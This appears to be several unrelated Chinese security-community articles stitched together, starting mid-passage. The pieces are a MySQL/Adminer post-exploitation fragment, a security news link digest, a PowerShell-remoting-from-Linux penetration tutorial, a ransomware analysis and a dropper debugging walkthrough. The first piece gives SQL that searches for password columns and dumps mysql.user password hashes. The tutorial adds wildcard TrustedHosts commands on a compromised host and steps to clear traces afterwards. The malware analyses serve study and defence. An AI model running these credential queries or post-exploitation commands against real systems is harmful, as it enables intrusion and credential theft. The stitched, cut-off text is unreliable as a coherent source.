一般adminer这边干不动，就可以去尝试下网站后台那边是否有可以相互配合的漏洞
#搜索es库中包含pass字段的表名
select table_schema,table_name,column_name from information_schema.COLUMNS where column_name like '%pass%' and table_schema='es'
#搜索所有库中包含pass字段的表名
select table_schema,table_name,column_name from information_schema.COLUMNS where column_name like '%pass%'
##### 读mysql账户的密码
如果无法获得网站管理员的明文密码，可以尝试读取并解密mysql用户的账号密码，并根据解密后的密码内容猜测网站管理员后台账号密码
# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;
#### 阅读数据库信息
数据库中有一些高价值数据，能辅助我们获取shell
##### 云服务器的AK
可能数据库中存有云服务器的Aceeskey，一样能拿到权限
##### 序列化数据
观察到某个表中有序列化数据，则要把数据取出来使用必然会涉及到反序列化，根据表名和网站后台找到相关反序列化点，可能能配合一些已知框架的序列化链取得权限
##### 网站配置信息
配置信息里有很多高价值信息，例如网站路径，使用的中间件版本等等，亦或者我们能直接在数据库中更改文件上传的后缀配置，把脚本文件后缀添加到数据库的白名单中。 | 社区文章 |
# 【知识】5月22日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： OWASP 移动安全测试指南、通过Verizon
的短信内容进行xss、wanakiwi：恢复WannaCry导致的加密文件（新支持Windows 7）、通过越界读取Yahoo的认证信息、Chrome
CDM框架重大缺陷，DRM视频轻易复制 、Secure 审计套件存在目录遍历和任意文件读取漏洞、PHPCMS V9.6.2 SQL注入漏洞分析**
**
**
**资讯类：**
* * *
法国人力资源评估平台Praditus.com数据库被黑售卖
<https://www.nulled.to/topic/257000-sale-%E2%98%85%E2%98%85pradituscom%E2%98%85%E2%98%85database-dump%E2%98%85%E2%98%85-002-btc%E2%98%85%E2%98%85/>
Google在Google play推出基于机器学习的方式保护Android 用户
<http://securityaffairs.co/wordpress/59309/mobile-2/google-play-protect.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
OWASP 移动安全测试指南
<https://github.com/OWASP/owasp-mstg>
通过Verizon 的短信内容进行xss
<https://randywestergren.com/xss-sms-hacking-text-messages-verizon-messages/>
wanakiwi：恢复WannaCry导致的加密文件（新支持Windows 7）
<https://github.com/gentilkiwi/wanakiwi>
(Ab)Using Facebook Accessibility for Open Source Intelligence
<https://medium.com/@chandrapal/ab-using-facebook-accessibility-for-open-source-intelligence-4e5ad4ad95f5>
通过越界读取Yahoo的认证信息
<https://scarybeastsecurity.blogspot.com/2017/05/bleed-more-powerful-dumping-yahoo.html>
通过注册表操作绕过Applocker
<https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/>
2017补天沙龙成都站PPT
<https://github.com/SycloverSecurity/papers/tree/master/2017%E8%A1%A5%E5%A4%A9%E6%B2%99%E9%BE%99%E6%88%90%E9%83%BD%E7%AB%99>
Chrome CDM框架重大缺陷，DRM视频轻易复制
<http://www.52pojie.cn/thread-609243-1-1.html>
PyCon 2017 videos
<https://www.youtube.com/channel/UCrJhliKNQ8g0qoE_zvL8eVg/feed>
pyfiscan：一会本地web应用扫描器
<http://pentestit.com/pyfiscan-local-web-application-vulnerability-scanner/>
Netcat 入门指南
<http://www.hackingarticles.in/netcat-tutorials-beginner/>
OpenXMolar：一个 Microsoft Open XML文件格式fuzz框架
<http://www.debasish.in/2017/05/openxmolar-ms-openxml-format-fuzzing_20.html>
分析恶意软件Spora
<https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/>
Secure 审计套件存在目录遍历和任意文件读取漏洞
<http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt>
PHPCMS V9.6.2 SQL注入漏洞分析
<http://bobao.360.cn/learning/detail/3884.html>
Airachnid Burp Extension一个用于对Web Cache欺骗攻击的Burpsuite插件
<http://www.kitploit.com/2017/05/airachnid-burp-extension-burp-extension.html>
绕过防火墙的工具包 ssct
<http://seclist.us/ssct-a-wrapper-tool-for-shadowsocks-to-consistently-bypass-firewall.html>
漏洞预警:腾达路由器的缓冲区溢出,发送特制post包,可以导致用于认证的web服务中断1-2秒 影响范围 fh1202/f1202/f1200
1.2.0.20之前的版本
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9139>
伪造签名与长度扩展攻击
<https://panossakkos.github.io/tech/2017/05/21/length-extention-attack.html>
CVE-2017-0263 window权限提升漏洞分析
<http://blog.ptsecurity.com/2017/05/a-closer-look-at-cve-2017-0263.html> | 社区文章 |
# PowerShell Remoting：从Linux到Windows
原文链接：<https://blog.quickbreach.io/ps-remote-from-linux-to-windows/>
## 0x00 前言
声明：我个人努力确保本文提供信息的准确度，但我是其实是一个菜鸟。
如果能做到以下几点，我们就能从Linux系统远程PS到Windows：
1、在后渗透测试中对某个目标发起NTLM身份认证；
2、重启WinRM服务；
3、使用支持NTLM的PowerShell Docker镜像从Linux远程PS到Window。
## 0x01 背景
我有次偶然发现，在渗透测试中我可以将PowerShell远程执行作为远程代码执行的主要方法。PowerShell是Windows的一个内置功能，由于客户端检测功能越来越强，因此现在内置工具的需求也越来越旺盛。
不幸的是，由于PowerShell Core的Linux分支支持的身份验证机制有限，因此想从我的Kali Linux系统远程连接到目标并不是一件容易的事。
PowerShell远程操作需要使用Kerberos相互身份验证过程，这意味着客户端计算机和目标计算机必须都连接到域环境中。
如果我们还没有搞定某个域节点用来执行远程命令，那么这种情况可能会给我们的测试人员带来各种问题。
幸运的是，我们可以选择将自己添加为目标配置中的`TrustedHost`，这样我们就能执行NTLM身份验证，而不用去处理Kerberos，因此无需通过域环境中的系统进行连接。
现在唯一的问题在于，适用于Linux的PowerShell核心（撰写本文时为PowerShell 6.1.0）并未支持NTLM身份验证。
这个问题并非无法解决，因为我们总是可以从Windows VM执行PowerShell远程操作。
幸运的是，一些[研究人员](https://www.reddit.com/r/PowerShell/comments/6itek2/powershell_remoting_linux_windows_with_spnego/)找到了在Centos上使用PowerShell进行NTLM身份验证的一种方法，因此我将他们的发现整合到一个简单的PowerShell
Docker镜像中：[quickbreach/powershell-ntlm](https://hub.docker.com/r/quickbreach/powershell-ntlm/)。
## 0x02 如何使用PowerShell从Linux远程处理Windows
本节将逐步介绍如何从Linux客户端建立到Windows系统的远程PowerShell会话。
假设我们对目标PC具有管理员级别的访问权限（通过RDP、载荷等）。
1、在目标上启用PowerShell远程功能。
Enable-PSRemoting –Force
2、获取目标系统上当前的`TrustedHosts`列表，以供后续参考。
Get-Item WSMan:\localhost\Client\TrustedHosts
3、将自己添加为目标上的`TrustedHost`。为了在`Enter-PSSession`配置阶段使用NTLM身份验证，我们需要执行这个步骤，NTLM是从Linux通过PowerShell远程连接到Windows的唯一一种身份验证机制。
要完成此任务，请运行以下任意一条命令：
使用通配符，允许所有计算机在对此主机进行身份验证时使用NTLM协议：
Set-Item WSMan:\localhost\Client\TrustedHosts -Force -Value *
或者更加具体，只将我们的IP添加到NTLM身份验证的允许列表中。
Set-Item WSMan:\localhost\Client\TrustedHosts -Force -Concatenate -Value 192.168.10.100
4、设置并重新启动WinRM服务，以应用我们所做的更改。
Set-Service WinRM -StartMode Automatic
Restart-Service -Force WinRM
5、进入PowerShell-NTLM Docker镜像实例。
如下示例命令还会将本地某个目录加载到docker镜像内的`/mnt`路径中（该目录中包含一些PowerShell脚本）。
docker run -it -v /pathTo/PowerShellModules:/mnt quickbreach/powershell-ntlm
6、现在就是我们一直在期待的时刻：使用以下命令进入远程PowerShell会话。请注意，我们必须指定`-Authentication`类型：
# Grab the creds we will be logging in with
$creds = Get-Credential
# Launch the session
# Important: you MUST state the authentication type as Negotiate
Enter-PSSession -ComputerName (Target-IP) -Authentication Negotiate -Credential $creds
# i.e.
Enter-PSSession -ComputerName 10.20.30.190 -Authentication Negotiate -Credential $creds
我们也可以以类似的方式使用`Invoke-Command`功能：
Invoke-Command -ComputerName 10.20.30.190 -Authentication Negotiate -Credential $creds -ScriptBlock {Get-HotFix}
## 0x03 清理现场
如果将我们的节点添加为`TrustedHost`之前，已经有其他人占了坑，那么我们需要更换IP，然后运行以下命令：
$newvalue = ((Get-ChildItem WSMan:\localhost\Client\TrustedHosts).Value).Replace(",192.168.10.100","")
Set-Item WSMan:\localhost\Client\TrustedHosts -Force -Value $newvalue
或者，我们可以移除所有的`TrustedHost`，使我们成为唯一的一个成员：
Clear-Item WSMan:\localhost\Client\TrustedHosts
重新启动WinRM服务以应用更改（请注意，这将使我们断开与`Enter-PSSession`的连接）。
Restart-Service WinRM
## 0x04 参考资料
[This Reddit
Thread](https://www.reddit.com/r/PowerShell/comments/6itek2/powershell_remoting_linux_windows_with_spnego/)
[PowerShell Remoting Cheatsheet](https://blog.netspi.com/powershell-remoting-cheatsheet/) | 社区文章 |
# 用“世界上最好的编程语言”制作的敲诈者木马揭秘
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
你永远叫不醒一个装睡的人。但,快递小哥可以!
虽说是一句戏言,但确实多少反映出了快递在大家心中的重要性。如果你收到一个带有快递公司发来的电子邮件通知,你会不会也希望快点打开看看是不是哪个朋友给你寄了什么东西等着你去取呢?最近我们就收到了这样的一个带有“快递单号”的电子邮件附件。唯一有些水土不服的就是——在中国用FedEx的确实并不很多……大写的PITY……
**0000b** **木马起始——FedEx_ID_00645987.doc.js**
这个所谓的doc文档,其实是一个javascript脚本,而脚本的内容……好乱……
经过简单的解密和格式整理,给大家呈现了一个比较漂亮的脚本格式如下:
脚本主要功能就是循环下载并执行木马。脚本中供提供了5个域名供下载(域名作用为备份,如果前面的域名可以下载,则不再尝试后面的域名):
脚本通过给URL传递不同参数的方式,获取不同的文件(返回状态码200且返回内容大于1000字节即判断为下载成功)。
最终木马获取如下文件(p.s. 根据后续实测,这五个文件仍在服务端不定期更新,本文仅描述文章撰写时下载到的样本行为):
如上表所示,脚本下载到本地的5个文件实际上被分成了3组:a1.exe和a2.exe各自独立运行;a.exe、php4ts.dll和a.php则同为一组。必须三个文件同时存在,脚本才会执行该木马,而且还会再执行完第三组之后打扫一下战场——删除掉木马文件并且修改注册表值用于关联被加密的文件:
根据VT的扫描结果来看,54家全球主流杀软中有12款产品可以检出该木马:
**0001b PHP** **木马分析**
其实这个木马最先引起我们兴趣的是后面下载的这三个一组的文件。之所以引起我们的兴趣,是因为根据我们的记录:a.exe和php4ts.dll其实都是人畜无害的合法程序。实际上,a.exe是PHP
Thread Safe CGI(PHP线程安全通用网管接口),而php4ts.dll则是这个接口程序运行所必须导入的一个动态库文件:
把话说的通俗点,这两个程序其实就是一个php脚本的解释器。他们被下载下来的唯一目的——就是让a.php可以执行。所以就让我们看看这个a.php吧:
代码逻辑并不复杂,脚本会遍历C盘到Z盘的所有盘符下的文件,并跳过含有以下字符串的目录:
winnt
boot
system
windows
tmp
temp
program
appdata
application
roaming
msoffice
temporary
cache
recycle
查找以下这些扩展名的文件:
zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso
打开每一个符合扩展名要求的文件,读取前1024字节并和密钥做循环异或加密。加密完成后再将修改后的文件加上一个.crypted扩展名——万事大吉。
只是让我们很疑惑的是——虽然php这世界上最好的语言(好吧,这只是个梗),但木马作者是如何用php在这么一段并不算长的代码中实现不对称加密的敲诈者代码的?
细读代码之后恍然大悟——并没有实现……这段代码的加密方式采用了对称加密算法,准确的说是循环异或加密。更加“人道主义”的是——这个php的加密代码其实是“两用”的,只要修改脚本中的一个参数,整个脚本立刻成为了解密脚本。可以直接将加密的文档解密回去:
所以说世界已经这么乱了,不对称加密的敲诈者满天飞的今天,对称加密敲诈者能不能就不要来添乱了?
当然,也并不是说这个脚本就人畜无害了——对称加密没有密钥想解开依然很麻烦,虽然我们这里拿到密钥了,但上面已经说了:木马作者再服务端依然持续更新着木马的内容,并且木马运行后会自删除,所以说虽然是对称加密,但依然有可能因为找不到加密时的密钥导致依然很难解开文件(难,但并非无解)……
但这都不是重点,重点是木马在加密完文件之后给出的敲诈信息:
相对于那些动辄两三个比特币的敲诈者木马来说,0.40290个比特币虽然有零有整的程度令人发指,但确实也算是价钱厚道了。但你所谓的“RSA-1024”是什么鬼?明明就是个简单的循环异或加密好么!不要假装自己是高大上的不对称加密好么!WTF……
**0010b POWERSHELL** **木马分析**
然后我们再来说说两个独立运行的powershell木马。虽然a1.exe与a2.exe是各自独立运行的,但因为他们的行为基本相同,所以我们这里合并为一个来做统一说明。
样本首先会执行注入功能:
之后对线程做恢复以便执行注入后的代码:
完成后,恶意代码会检测机器环境——对不知处powershell的系统安装微软的KB968930补丁(补丁相关说明:[https://www.microsoft.com/en-us/download/details.aspx?id=16818](https://www.microsoft.com/en-us/download/details.aspx?id=16818)),添加对powershell的支持:
在确保用户环境可以执行powershell之后,注册一个文件关联,在文件打开的shell command中执行一段脚本:
这是一段短小精悍的脚本,但系统会根据这段短小的脚本的指令,再次访问注册表去执行注册表中的另一段恶意代码:
通过这种方式,恶意程序将恶意代码全部保存在注册表中,而落地文件只是用于触发恶意代码的执行,本身并没有恶意代码。落在本地的文件根本没有恶意代码,这样就更容易绕开安全软件的扫描检测。
我们导出含有恶意的代码的注册表内容,如下:
虽然已经是落在注册表中,但显然木马作者还是不放心——依然是用了多次的加密来掩盖这段代码的行为意图。经解密,我们得到的最终执行代码正是一段powershell代码:
显然,虽然已经解密到最终一步,但中间的变量“$sc32”依然让人看着有些不知所云……但看到ps1代码的最后,发现其实这已经是最终代码了。最终就是将$sc32的内容全部加载带内存中执行:
我们把数据dump出来,发现代码会从远端下载文件到本地执行,并且还会判断一下文件是否是有效的可执行程序——典型的下载者木马:
**0011b** **非PE** **渐成趋势**
随着安全软件的普及,木马病毒与安全软件的对抗也逐渐变成了“近身肉搏战”,大家都在钻细节,都想在对方忽略的某个小点上做单点突破——这样一来,各种脚本甚至连脚本都不算的数据文件就显现除了相对于传统PE格式木马更多的优势。
这次出现的敲诈者木马就是典型的例子——一个javascript脚本木马释放出了一个php脚本木马和两个powershell脚本木马。而powershell木马甚至都没有落成ps1脚本而是直接在注册表中存储,php木马有落地的php文件,但php脚本既然能实现对称加密的敲诈者木马,更高一级的不对称加密敲诈者木马真的还会远么?
当然,并不是说非PE就可以为所欲为了,既然是近身肉搏,安全软件的响应自然也不会处于下风——兵来将挡水来土掩,我们已经做好了战斗准备。 | 社区文章 |
# 恶意代码分析之修改CRT的Dropper分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在上一小节，我们已经初步结合IDA和x64dbg对KimSuky的一个远控样本进行了一个比较完整的分析。
在这一小节，我们将会遇到一个 比较”奇怪”的样本，大部分的分析工作都需要在调试器中完成，此时，如果能够比较熟练的阅读汇编代码，将会大大的提升分析的速度。
此外，本节将是传统恶意代码分析基础教程的最后一小节。
在之后的文章中，将会更多的偏向于快速定位恶意代码功能、样本关联分析、溯源分析、恶意流量分析、移动平台样本分析、非PE样本分析等。
## 0x01 基本信息
首先，样本还是来源于app.any.run
样本hash：b7c3039203278bc289fd3756571bd468
沙箱连接为：<https://app.any.run/tasks/7ea179ad-f812-40a3-b3e0-d2dfcbd11a65/>
样本下载到本地之后，我们首先通过查壳工具对样本进行一个基础的检查。
使用的工具是Exeinfo，在这里可以看到，该样本无壳，由vc++的编译器编译。
## 0x02 行为分析
在之前，我们已经使用过了SysTracer.exe来分析样本的行为，在本节的样本中，我们将对比火绒剑和SysTracer.exe在行为分析中各自的优劣。
### 火绒剑行为分析
首先是使用火绒剑，我们启动火绒剑之后，设置好过滤条件，然后运行样本，样本运行最开始的10s左右没有任何行为，猜测是sleep了10s作为反检测的条件之一。等样本运行一会之后，我们可以在火绒剑的窗口中看到如下的界面：
即使在过滤掉了注册表行为的前提下，还是显示了高达15661的事件数，如此大量的事件数没有办法好好分析，我们可以在过滤窗口中查看一下每种动作的事件数：
通过日志过滤的动作过滤窗口，我们可以看到，样本有大量的文件行为(这里17225是包括了当前电脑中所有的文件操作行为)，于是我们可以先将MT_filemon也过滤掉：
然后我们回到火绒剑的窗口中，文件操作过滤掉之后，这里就只显示了29个事件数，我们来看看这29个事件都做了什么。
首先是看到，样本多次调用了32为的cmd:C:WindowsSysWOW64cmd.exe执行cmd命令，目前还不清楚多次调用cmd都实现了些什么操作，此外，从图中可以看到样本访问了多个本地局域网的IP地址，如172.22.22.156
或是10.2.114.1这种。
我们选中NET_connect 172.22.22.156这一行，然后双击查看详情。
然后切换到<任务组>选项卡：
然后就可以看到，这些操作实际上都是通过32位的cmd程序来调用的，这也解释了之前我们在火绒剑主窗口中看到的多次cmd调用的实际用途。
在这里可以看到，cmd程序有15个文件操作，创建、更改了temp目录中部分文件的权限、然后删除了这些文件。
往下滑动，可以看到cmd还执行了一系列的注册表操作：
在最后可以看到，cmd访问了一些本地局域网的地址：
但是目前，我们并不知道cmd是通过何种方式去访问这些地址的，以及访问这些地址做什么。
到这里，通过火绒剑分析该样本的工作就基本完成，我们得知样本运行后会有一段sleep，然后会多次调用cmd执行一些奇怪的操作，包括创建文件、删除文件、注册表操作、访问本地局域网等等。
桥豆麻袋，我们刚才把样本的文件操作全过滤了，此时我们可以显示文件操作看看样本到底做了什么导致了一万五千多的文件操作，显示文件操作之后往下滑动，看到全是FILE_readdir的操作，然后观察路径，包括了一些用户个人的文件夹，此时，我们知道这里是在做文件夹遍历操作了。
通常来说，样本这种文件遍历操作有两种行为。
1是勒索样本遍历加密文件，这里运行了之后，文件一直没有被加密，可以知道应该不是勒索。
2是窃密样本在遍历查找文件，查找指定的文件或指定类型的文件。
目前来看，有可能属于后面这种情况。
### SysTracer.exe
接下来，我们使用SysTracer.exe对该样本进行一个行为分析。
SysTracer.exe运行之后，相对于火绒剑，这里显示的操作就很少了，从左侧的窗口中，可以看到样本触发的文件行为只有24，注册表行为77，进程行为31。
从我选中的这一行中可以看到， 样本调用cmd执行ipconfig /all >
C:DOCUME~1ADMINI~1LOCALS~1Temptempres.ip
将本地主机网卡的详细信息写入到temp目录下的res.ip文件。
SysTracer.exe的第一个优点出来了，在窗口的信息中，有着cmd操作的详细信息，我们就可以很直观的看到cmd到底做了些什么操作。
除了写入了ipconfig /all的信息之外，程序还通过tasklist将本地主机的所有进程信息写入到task.list。
滑到最后，我们还可以看到如下的关键信息：
这里可以看到，程序尝试通过IPC$将本地的一些信息上传到10.38.1.35这个机器上。
10.38.1.35这个地址很明显属于本地局域网的ip地址，这种操作我们基本可以确定，10.38.1.35这个地址已经被攻击者攻陷作为局域网横向渗透中的中转”服务器”。
至此，我们也成功使用SysTracer.exe对样本进行了行为分析。
通过SysTracer.exe我们可以知道，样本会通过cmd程序收集本地的一些基本信息，创建文件，然后上传到10.38.1.35这个机器，然后通过cmd删除那些文件。
我们无法直接说，哪个工具进行行为分析更好，只能说，在分析的时候结合多款行为分析工具，可能会有意想不到的惊喜。
## 0x03 代码分析
在IDA中加载之后，默认停留在wWinMain函数，而根据后面的调用代码我们可以得知该程序属于MFC的框架。
和普通VC编译的exe不同，MFC编写的程序有着自己独特的一套结构。
对于VC编译的exe，我们知道程序的入口点是在WinMain函数，但是MFC的程序却并不是这样。
对于MFC的程序来讲，程序一般首先会通过AfxGetThread()->PumpMessage()开始消息处理，然后经过一系列复杂的操作，最后才到用户的代码。
这里我们就不铺开讲MFC的分析原理了，之前进行行为分析的时候，我们也发现该程序没有运行界面，不能通过常规的MFC逆向思路来定位关键代码。
所以看样子只能在调试器中F7跟进到AfxGetThread函数，然后一直F8直到代码返回到用户空间了。
而我们在IDA中可以看到，程序进入到wWinMain之后，就会直接jmp然后去执行AfxGetThread
所以我们使用调试器加载该样本，然后将断点设置到wWinMain的起始地址。
od加载样本之后，默认停留在了start函数的起始地址：004381f8
我们之前在wWinMain起始地址0044AA20设置断点，然后F9跑过来：
这个时候，神奇的事情出现了，F9运行之后，程序并没有跑到wWinMain处，而是一直处在运行状态，跑了一会之后进程就结束了：
由于我们之前已经在该虚拟机中成功跑出了行为，证明样本在xp系统中是可以正常运行的，但是这里却完全没有跑到wWinMain函数，所以这里有两个可能，1是样本在wWinMain函数之前有反调试，且根据样本在调试器中的表现来看应该是一个长的sleep。2是样本的真实功能不再wWinMain中，这里MFC只是一个空壳。所以接下来，我们可以结合od和systrace来判断一下样本到底是属于哪种情况。
我们首先通过Systrace启动od，使用Systrace监视od的行为:
然后我们还是尝试在wWinMain处设置断点然后跑过去，可以看到，在Systrace的窗口中，出现了之前我们单独测试样本时的行为。
这里基本就可以确定，样本的根本就没有执行到wWinMain函数就退出了。
我们回到IDA中查看一下start函数：
start中首先call **_security_init_cookie，_** 接着 ** _jmp_** tmainCRTStartup
我们在调试器中，call **_security_init_cookie_** 之后程序并没有反应，说明问题应该在 ** _jmp_**
tmainCRTStartup这里。很明显，这里过去应该是CRT的代码(编译器生成)，所以这里可以猜测，此样本应该是修改了CRT的。
我们在IDA中双击___tmainCRTStartup来到目标地址：
由于这里是CRT的代码，我们可以直接F5查看一下这里的伪代码（这种编译器生成的代码，一般都不是常见的语句，这种代码看汇编的话会很恼火）：
这很明显和正常的CRT不同。
特别是在最后还return 了一个sub_438FE1,正常的CRT结尾应该如下：
而且在__tmainCRTStartup的开头，莫名其妙的调用了一个看起来像是用户代码的函数：
然后我们接着往后看，好像并没有其他的跳转或是函数调用，所以不出意外的话，肯定是能跑到后面的wWinMain的，这里就基本可以确定，样本是修改了CRT之后，在CRT代码中插入了sub_438F9C，然后通过sub_438F9C执行完所有的功能并退出程序。
00438F9C中一共有三个call 第一个call将两个0作为参数进行调用。
我们跟进到sub_43900C中，简要分析后注释如下：
在sub_43900C中，程序首先会通过VirtualAlloc分配ecx值大小的空间。如果分配成功，则通过GetModuleFileNameA获取当前进程的路径，然后作为参数传递到CreateFileA中，所以这里的CreateFile是用于打开当前的文件对象，而并不是创建一个文件。
我们接着往后看，成功获取到文件对象之后，程序会尝试通过SetFilePointer来设置一个读取位置，看到这里，我们基本可以知道，该程序中应该包含了一段数据，而程序在这里通过SetFilePointer的方式去读取数据。
果不其然，这里会按照指定的偏移，去读取文件数据存到到之前的lpBuffer中，然后程序就结束了，所以我们这里就分析完了sub_43900C的基本功能：从当前文件的指定位置读取数据到新分配的内存中
我们返回回去对该函数进行标注之后，在调试器中调试一下这个函数。
在调试器中直接在函数内的Virtual处设置断点，跑过来之后单步F8走一下，可以看到，成功分配了一篇内存，起始地址为：009A0000
GetModuleFileNameA成功获取：
通过CreateFileA打开当前句柄：
设置指定偏移：
然后调用ReadFile，成功将数据读取到009A0000
然后我们继续F8，执行到ret，结束该函数。
回到IDA中，看了下之前看到的那两个函数，都和之前看到的一样，没有实际功能，可以直接跳过。
且我们注意到，函数底部，出现了堆栈不平衡的错误。我们直接回到OD中，看具体运行到这里是怎样的。
果然，我们可以看到，两个call执行完之后，程序并没有像是IDA中看到的那样退出函数，而是接着往下运行，又分别在00438FF2和00438FFD这里执行了两个call指令。
我们F7跟进到0043911c函数中之后发现，该函数的指令通过动态解密的方式执行，且在执行一个大循环，代码可读性极差，经验告诉我们，这种不断的循环应该是在解密，结合我们之前分析到的read了片数据到VirtualAlloc分配的空间中，我们可以猜测该函数应该是在解密我们看到的数据。
于是我们重新运行程序，断点跑到这里，然后F8跑过去，对比一下函数执行后009A0000内存的数据：
诶 009A0000的值的确改变了，说明我们的推算是正确的，但是遗憾的是，这里我们还是没有看出来，解密后的内容是什么。只能继续往下走了。
我们双击第二个call ，可以知道这里指令实际上是call dword ptr ss:[ebp-0x10]
所以我们可以在内存窗口中看看ebp – 0x10 处的值是什么
跳转过来之后可以发现这里居然就是009A0000
也就是说程序通过第一个call解密了009A0000处的数据，然后通过call，跳转到009A0000处继续执行：
由于这里的009A0000是动态解密出来的，此时我们就没有办法在IDA中进行静态分析了，其实也可以，我们现在已经知道了009A0000这里是一个大函数，我们可以把这段二进制数据dump出来，使用IDA加载，就可以识别到一个函数。
我们选中这一大段数据，然后鼠标右键，选择保存到数据文件
然后通过IDA加载即可：
但是这里这样做的话，代码可读性还是比较差。
所以我们还是直接在od中边调试边看吧~ 我们回到OD中，可以看到，IDA没有识别出来的call，od已经自动识别出了一些系统API调用，
分别是SetErrorMode、GetSysColor、GetSystemDefaultLangID、GetAtomName
通过这几个API我们可以知道，这里是在对当前的操作系统环境进行一个初步判断，包括系统颜色、系统默认语言等
我们直接选中call 009A0B60这一行，然后回车进入该函数(不影响程序的EIP)：
009A0B60进来之后，可以看到首先是对ebp – 0x1x 的地址进行赋值。
这里直接看十六进制的ASCII看不出来，我选择看看IDA是否有可用信息，你猜怎么着，IDA中很方便看
这里首先是获取来两个字符串：
%AppData%
systemprofile
然后调用一个call，我们在od中可以看到该call是expandenvironmentstrings，该函数可以扩展环境变量，使用当前用户定义的值来替换对应的环境变量字符串。
我们直接F4跑到这个函数，看一下参数的值。
从图中可以看到，该函数执行之后，? 将会代表环境变量%AppData%
接着程序call 0090340 ，参数分别是%Appdata%和systemprofile
同样的，为了节约分析时间，我们可以直接选中函数，然后回车进入到函数
进来之后有两个call，我们也选中第一个call，然后回车进去，就只是一个循环add计算。
按esc回到上一层，然后选中第二个函数，回车进来，发现和第一个call很相似
然后esc回到上层，往下滑动，发现没有其他call
了，就是一些跳转指令进行赋值的，所以我们可以直接按*号键，回到当前EIP，直接F8步过该函数，就不跟进进去了。
然后又解出一个字符串，使用GetModuleHandle获取Handle
通过IDA我们可以知道这里是获取User32.dll
然后通过GetProcAddres获取GetRawInputDeviceList，通过该函数，可以枚举连接到系统的原始输入设备。
然后调用GetRawInputDeviceList，成功获取到原始输入设备之后结束函数，如果获取失败则退出进程。
该函数执行完了之后，继续在后面一个call 009A00B0这一行回车进去：
进来之后发现又有一个VirtualAlloc，于是我们直接在VirtualAlloc这一行F4跑过来：
这次分配的的内存大小是CCC00
F8单步往下执行，eax中会出现新内存的起始地址：009B0000
继续往下走，又是熟悉的GetModuleFileNameA和CreateFile
打开的还是当前文件的句柄：
设置一个新的偏移点：
和之前一样的方式Read：
Read成功：
然后关闭句柄，然后退出函数。
根据之前的经验，返回出去之后，应该就会对这片内存进行解密了。
返回出来的两个call，通过快速分析发现没有什么功能，可以直接F8步过。
然后再下面的009A008C这里的call 009A01C0，回车进去可以看到有很多跳转指令，应该就是循环解密的地方了
我们F4运行过来，注意下面内存窗口汇总009B0000的值：
然后F8执行这个函数，不出意外就会成功解密：
惊喜来了，这里解密出了一个PE文件。
我们还是把这个PE文件dump出来并保存为dump_.exe.bin
我们将该程序拷贝到真实机器上，然后通过powershell计算该文件的MD5：
Get-FileHash -Algorithm md5 .dump_.exe.bin
得到hahs：4F8091A5513659B2980CB53578D3F798
然后我们尝试通过Systrace对该程序进行行为监控，神奇的事情再度出现，这里的行为，居然跟我们最开始对原始文件监控的时候，行为一模一样。这里说明，我们目前分析的这个样本的确是个Dropper。用于在内存中加载一个恶意样本。
然后发现有VT上有62家报毒。说明此文件就是我们分析样本Drop出的真实恶意样本。
od中还有一点点恶意代码么有分析完，但是我们基本可以知道，后面是用于加载执行该样本了。
这里只剩下最后一个call，我们直接回车进去，然后F4跑过
第三次VirtualAlloc，这里需要注意，这里的参数是004000，在VirtualAlloc中使用这样的参数，可以制作一个PE加载到自己内存中执行，很明显这里是为了加载执行Drop出来的文件做准备了。
然后又是VirtualAlloc分配00A80000
然后再下面执行一个call，将之前解密出来的PE赋值到00A80000中：
然后call 009A0710 这里需要注意，call的时候，push了eax作为参数，而eax==00A80000
所以该函数很有可能比较关键，我们F7跟进进去
然后发现是在循环判断节区信息，以确定是预设的PE文件
每次执行完之后，通过jmp跳转到开头执行
我们直接F4执行到retn处，执行完成本次的检查。然后F8退出函数。
然后紧接着的一个call，又将00A80000放在ecx中作为参数进行调用，没办法，我们只能继续跟进
通过LoadLibrary加载Kernel32.dll
然后又是一个查找，然后在call 009A07E0处对比，看样子应该还是用于检查将要加载的程序是否是预期程序。
所以我们还是直接在retn处F4，然后退出该函数。
继续往下看，又看到一个如下的函数调用，参数是00A80000
且后面有一个call eax，然后就释放内存，结束函数了。
说以这个call eax肯定是关键函数，且eax 的值就来源于我们看到的call 009A09E0
我们直接F4到 call eax，然后F7进去
这里面函数有点多，我们还是根据之前的方法快速分析，跟参数无关的call
直接F8运行过去，然后观察参数和eax的值即可。这里需要注意，我们通过此方法调试的时候请设置好快照，因为这样的调试方法经常会让程序跑飞，设置断点可以很好定位到跑飞点，然后定位到关键代码。
最后发现这里 call 00A83870，程序从这里，正式转入到了第二个PE文件中执行。
而第二个PE文件是标准VC编译的，无壳无混淆，非常好分析，有兴趣的读者可以试着继续跟进分析一下。
## 0x04 总结
